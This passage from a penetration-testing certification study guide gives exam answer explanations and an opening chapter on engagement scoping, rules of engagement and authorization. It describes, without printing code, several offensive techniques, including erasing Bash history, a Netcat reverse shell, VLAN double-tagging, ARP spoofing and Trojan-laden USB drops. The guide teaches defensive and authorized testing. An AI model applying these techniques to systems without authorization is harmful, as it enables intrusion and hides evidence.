B. A nondisclosure agreement (NDA) is a legal agreement that is designed to protect the confidentiality of the client's data and other information that the penetration tester may encounter during the test. An SOW is a statement of work, which defines what will be done during an engagement, an MSA is a master services agreement that sets the overall terms between two organizations (which then use SOWs to describe the actual work), and noncompetes are just that—an agreement that prevents competition, usually by preventing an employee from working for a competitor for a period of time after their current job ends. You'll learn more about the legal documents that are part of a penetration test in
Chapter 2
.
A. The Zed Attack Proxy (ZAP) from the Open Worldwide Application Security Project (OWASP) is an interception proxy that is very useful in penetration testing. Nessus is a vulnerability scanner that you'll learn more about in
Chapter 4
. SonarQube is a static, not dynamic, software testing tool, and OllyDbg is a debugger. You'll learn more about these tools in
Chapter 9
.
B. The
.sh
file extension is commonly used for Bash scripts. PowerShell scripts usually have a
.ps1
extension. Ruby scripts use the
.rb
extension, and Python scripts end with
.py
. You'll learn more about these languages in
Chapter 12
.
C. When penetration testers discover indicators of an ongoing or past compromise, they should immediately inform management and recommend that the organization activate its cybersecurity incident response process. You'll learn more about reporting and communication in
Chapter 11
.
B. An authenticated, or credentialed, scan provides the most detailed view of the system. Unknown environment assessments presume no knowledge of a system and would not have credentials or an agent to work with on the system. Internal views typically provide more detail than external views, but neither provides the same level of detail that credentials can allow. You'll learn more about authenticated scanning in
Chapter 4
.
D. Although all of these commands are useful for covering her tracks, only linking
/dev/null
to
.bash_history
will prevent the Bash history file from containing anything.
Chapters 6
and
10
cover compromising hosts and hiding your tracks.
B. It's very important to know the use and purpose of various penetration testing tools when taking the PenTest+ exam. Nikto is the best tool to meet Kaiden's needs in this scenario, since it is a dedicated web application scanning tool. Nmap is a port scanner, and Wireshark is a packet analysis tool. The Custom Wordlist Generator (CeWL) is used to spider websites for keywords. None of the latter three tools perform web application security testing. You'll learn more about Nikto in
Chapter 4
.
A. OSINT, or open source intelligence, is information that can be gathered passively. Passive information gathering is useful because it is not typically visible to targets and can provide valuable information about systems, networks, and details that guide the active portion of a penetration test.
Chapter 3
covers OSINT in more detail.
B. Integrity breaches involve data being modified or deleted. When systems are taken offline it is an availability issue, protected information being accessed might be classified as a breach of proprietary information, and sensitive personally identifiable information access would typically be classified as a privacy breach. You will learn more about three goals of security—confidentiality, integrity, and availability—in
Chapter 1
.
B. By default, Nmap will scan the 1,000 most common ports for both TCP and UDP.
Chapter 3
covers Nmap and port scanning, including details of what Nmap does by default and how.
D. Threat hunting uses the attacker mindset to search the organization's technology infrastructure for the artifacts of a successful attack. Threat hunters ask themselves what a hacker might do and what type of evidence they might leave behind and then go in search of that evidence. Brian's activity clearly fits this definition. You'll learn more about threat hunting in
Chapter 1
.
A. Liam has used Netcat to set up a reverse shell. This will connect to 10.1.10.1 on port 7337 and connect it to a Bash shell.
Chapters 6
and
10
provide information about setting up remote access once you have compromised a system.
C. This is an example of a double‐tagging attack used against 802.1q interfaces. The first tag will be stripped, allowing the second tag to be read as the VLAN tag for the packet. Double jumps may help video gamers, but the other two answers were made up for this question.
Chapter 7
digs into network vulnerabilities and exploits.
A. ARP spoofing attacks rely on responding to a system's ARP queries faster than the actual target can, thus allowing the attacker to provide false information. Once accepted, the attacker's system can then conduct an on‐path attack.
Chapter 7
explores on‐path attacks, methods, and uses.
D. Social engineering attacks that rely on social proof rely on persuading the target that other people have behaved similarly. Likeness may sound similar, but it relies on building trust and then persuading the target that they have things in common with the penetration tester.
Chapter 8
covers social engineering and how to exploit human behaviors.
C. A USB key drop is a form of physical honeypot that can be used to tempt employees at a target organization into picking up and accessing USB drives that are distributed to places they are likely to be found. Typically one or more files will be placed on the drive that are tempting but conceal penetration testing tools that will install Trojans or remote access tools once accessed.
Chapter 8
also covers physical security attacks, including techniques like key drops.
C. The
s
in the file attributes indicates that this is a SETUID or SUID file that allows it to run as its owner.
Chapter 10
discusses vulnerabilities in Linux, including how to leverage vulnerable SUID files.
D. Regional Internet registries like ARIN are best queried either via their websites or using tools like Whois. Nmap is a useful port scanning utility, traceroute is used for testing the path packets take to a remote system, and regmon is an outdated Windows Registry tool that has been supplanted by Process Monitor. You'll read more about OSINT in
Chapter 3
.
C. All of these commands are useful ways to determine if a system is virtualized, but
wmic
is a Windows tool. You'll learn about VM escape and detection in
Chapter 10
.
Hackers employ a wide variety of tools to gain unauthorized access to systems, networks, and information. Automated tools, including network scanners, software debuggers, password crackers, exploitation frameworks, and malware, do play an important role in the attacker's toolkit. Cybersecurity professionals defending against attacks should have access to the same tools in order to identify weaknesses in their own defenses that an attacker might exploit.
These automated tools are not, however, the most important tools at a hacker's disposal. The most important tool used by attackers is something that cybersecurity professionals can't download or purchase. It's the power and creativity of the human mind. Skilled attackers leverage quite a few automated tools as they seek to defeat cybersecurity defenses, but the true test of their ability is how well they are able to synthesize the information provided by those tools and pinpoint potential weaknesses in an organization's cybersecurity defenses.
Penetration testing seeks to bridge the gap between the rote use of technical tools to test an organization's security and the power of those tools when placed in the hands of a skilled and determined attacker. Penetration tests are authorized, legal attempts to defeat an organization's security controls and gain unintended access. The tests are time‐consuming and require staff who are as skilled and determined as the real‐world attackers who will attempt to compromise the organization. However, they're also the most effective way for an organization to gain a complete picture of its security vulnerability.
Cybersecurity professionals use a well‐known model to describe the goals of information security. The CIA triad, shown in Figure 1.1, includes the three main characteristics of information that cybersecurity programs seek to protect:
Confidentiality
measures seek to prevent unauthorized access to information or systems.
Integrity
measures seek to prevent unauthorized modification of information or systems.
Availability
measures seek to ensure that legitimate use of information and systems remains possible.
FIGURE 1.1 The CIA triad
Attackers, and therefore penetration testers, seek to undermine these goals and achieve three corresponding goals of their own. The attackers’ goals are known as the DAD triad, shown in Figure 1.2:
Disclosure
attacks seek to gain unauthorized access to information or systems.
Alteration
attacks seek to make unauthorized changes to information or systems.
Denial
attacks seek to prevent legitimate use of information and systems.
FIGURE 1.2 The DAD triad
THE COMPTIA PENTEST+ EXAM OBJECTIVES COVERED IN THIS CHAPTER INCLUDE:
Domain 1: Engagement Management
1.1 Summarize pre‐engagement activities.
Scope definition
Regulations, frameworks, and standards
Privacy
Security
Rules of engagement
Exclusions
Test cases
Escalation process
Testing window
Agreement types
Non‐disclosure agreement (NDA)
Master service agreement (MSA)
Statement of work (SoW)
Terms of service (ToS)
Target selection
Classless Inter‐Domain Routing (CIDR) ranges
Domains
Internet Protocol (IP) addresses
Uniform Resource Locator (URL)
Assessment types
Web
Network
Mobile
Cloud
Application programming interface (API)
Application
Wireless
Shared responsibility model
Hosting provider responsibilities
Customer responsibilities
Penetration tester responsibilities
Third‐party responsibilities
Legal and ethical considerations
Authorization letters
Mandatory reporting requirements
Risk to the penetration tester
1.3 Compare and contrast testing frameworks and methodologies.
Open Source Security Testing Methodology Manual (OSSTMM)
Council of Registered Ethical Security Testers (CREST)
Penetration Testing Execution Standard (PTES)
MITRE ATT&CK
Open Web Application Security Project (OWASP) Top 10
OWASP Mobile Application Security Verification Standard (MASVS)
Purdue model
Threat modeling frameworks
Damage potential, Reproducibility, Exploitability, Affected users, Discoverability (DREAD)
Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege (STRIDE)
Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE)
The Engagement Management domain of the CompTIA PenTest+ certification exam objectives deals with preparing for, planning, and scoping a penetration test. In this chapter you will explore pre‐engagement activities such as setting up rules of engagement, handling paperwork such as nondisclosure agreements (NDAs), master service agreements (MSAs), and statements of work (SoWs); handling target selection; and understanding the shared responsibility model and legal and ethical considerations. You will also compare and contrast testing frameworks and methodologies such as the Open Worldwide Application Security Project and many others.
Joanna's organization processes credit cards at multiple retail locations spread throughout a multistate area. As the security analyst for her organization, Joanna is responsible for conducting a regular assessment of the card processing environment.
Joanna's organization processes just over 500,000 transactions a year. Because the organization processes transactions, it must adhere to the Payment Card Industry Data Security Standard (PCI DSS) requirements. It also exclusively uses hardware payment terminals that are part of a PCI SSC (Security Standards Council) listed point‐to‐point encryption (P2PE) solution without cardholder data storage. That means that her organization must provide an annual Self‐Assessment Questionnaire (SAQ), have a quarterly network scan run by an approved scanning vendor (ASV), and fill out an Attestation of Compliance form. The attestation includes a requirement that the Report on Compliance be done based on the PCI DSS Requirements and Security Assessment Procedures that currently cover her company.
As a penetration tester, you need to be able to determine what requirements you may have to meet for a compliance‐based assessment. Using the information given here, can you figure out what Joanna's assessment process will require? You can start here:
https://www.pcisecuritystandards.org/document_library
A few questions to get you started:
What type of penetration test would you recommend to Joanna? Would a known environment or an unknown environment assessment be the most appropriate, and why?
How would you describe the scope of the assessment?
What rules of engagement should you specify for the production card processing systems Joanna needs to have tested?
What merchant level does Joanna's organization fall into?
What Self‐Assessment Questionnaire (SAQ) level is Joanna's company most likely covered by, and why?
What questions in the SAQ are likely to be answered NA based on the solution described?
Is Joanna's team required to perform vulnerability scans of card processing systems in her environment?
The first step in most penetration testing engagements is determining what should be tested. When this first step is done, it can be considered the pre‐engagement activities where you can define the scope of the assessment. The scope determines what penetration testers will do and how their time will be spent.
Determining the scope requires working with the person or organization for whom the penetration test will be performed. Testers need to understand all of the following as part of the scope definition:
Why the test is being performed
Whether specific requirements such as compliance or business needs are driving the test
What systems, networks, or services should be tested and when
What information can and cannot be accessed during testing
What the rules of engagement for the test are
What techniques are permitted or forbidden
To whom the final report will be presented
Testers will also need to assess the responsibilities of all parties involved, such as hosting providers, customers, and vendors. Lastly, testers will need to understand legal and ethical considerations required for conducting tests.
The Penetration Testing Execution Standard at www.pentest-standard.org is a great resource for penetration testers. It includes information about pre‐engagement interactions like those covered in this chapter as well as detailed breakdowns of intelligence gathering, threat modeling, vulnerability analysis, exploitation and post‐exploitation activities, and reporting. The team that built it also created a technical guideline that can be useful, although some of the material is slightly dated. It's available here:
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
When defining the scope of the test, you must consider many pre‐engagement activities. The first activity any tester should review is the regulations, frameworks, and standards that will be used when planning for and ultimately conducting your tests.
An important consideration that a tester should review is any regulatory, compliance, required frameworks and standards that should be reviewed and followed as part of the test. This could alter your scope and should be clearly understood at this juncture. For example, you may need to ensure that when running tests for a health care provider, you consider HIPAA. You must ensure that patient privacy is protected as part of your test and if you are collecting information, this information may be viewable. Another is when considering PCI and any financial compliance measures that must be followed. As part of the scope definition, make sure you are fully aware of and discuss these regulations before firming up and beginning any testing. This may result in privacy and security issues that the customer may need to consider up front before any testing begins.
When planning for your penetration test (pentest), you should begin by attempting to frame the scope of the test, which creates your boundaries and defines who will be affected, what will be tested, and what may be impacted. The scope of the test is considered the first step of your pentest and allows you, the tester, to identify internal and external technology that may be part of the test. An example would be testing a company's assets internally, but also noting that they are connected to two separate cloud providers that will also be part of the test.
Doing this will also allow you to scope what will and will not be part of the test. Using the previous example, the customer may not want you to test the external cloud providers, which will help firm up the scope of work. Doing this work up front will also help you define what type of assessment you want to conduct. Lastly, the scope definition should clearly define what is in and out of scope.
Scoping agreements and the rules of engagement must define more than just what will be tested. In fact, documenting the limitations of the test can be just as important as documenting what will be included. The testing agreement or scope documentation should contain disclaimers explaining that the test is valid only at the point in time when it is conducted and that the scope and methodology chosen can impact the comprehensiveness of the test. After all, a known environment penetration test is far more likely to find issues buried layers deep in a design than an unknown environment test of well‐secured systems!
Problem handling and resolution is another key element of the rules of engagement. Although penetration testers and clients always hope that the tests will run smoothly and won't cause any disruption, testing systems and services, particularly in production environments using actual attack and exploit tools, can cause outages and other problems. In those cases, having a clearly defined communication, notification, and escalation path on both sides of the engagement can help minimize downtime and other issues for the target organization. Penetration testers should carefully document their responsibilities and limitations of liability and ensure that clients know what could go wrong and that both sides agree on how it should be handled. This ensures that both the known and unknown impacts of the test can be addressed appropriately.
The tools and techniques we will cover in this book are the bread and butter of a penetration tester's job, but they are very likely illegal to use on another owner's equipment without permission. Before you plan (and especially before you execute) a penetration test, you must have appropriate permission. In most cases, you should be sure to have appropriate documentation for that permission in the form of a signed agreement, a memo from senior management, or a similar “get out of jail free” card from a person or people in the target organization with the rights to give you permission.
Why is it called a “get out of jail free” card? It's the document that you would produce if something went wrong. Permission from the appropriate party can help you stay out of trouble if something goes wrong.
As you've likely already realized, determining the detailed scope of a test can involve a significant amount of work. Even a small organization may have a complex set of systems, applications, and infrastructure, and determining the scope of a penetration test can be challenging unless the organization has detailed and accurate architecture, dataflow, and system documentation. Of course, if the engagement is an unknown environment test, the detail available to penetration testers may be limited, so they will need to know how to avoid going outside of the intended scope of the test.
Detailed scoping starts by determining the acceptable targets. Are they first party hosted (internally) or third party hosted (externally), and are they on‐site or off‐site? Are they hosted by the organization itself, by a third party, or by an infrastructure‐as‐a‐service (IaaS) or other service provider? Are they virtual, physical, or a hybrid, and does this impact the assessment? Are there specific environmental restrictions that need to be applied for the network, applications, or cloud systems and services?
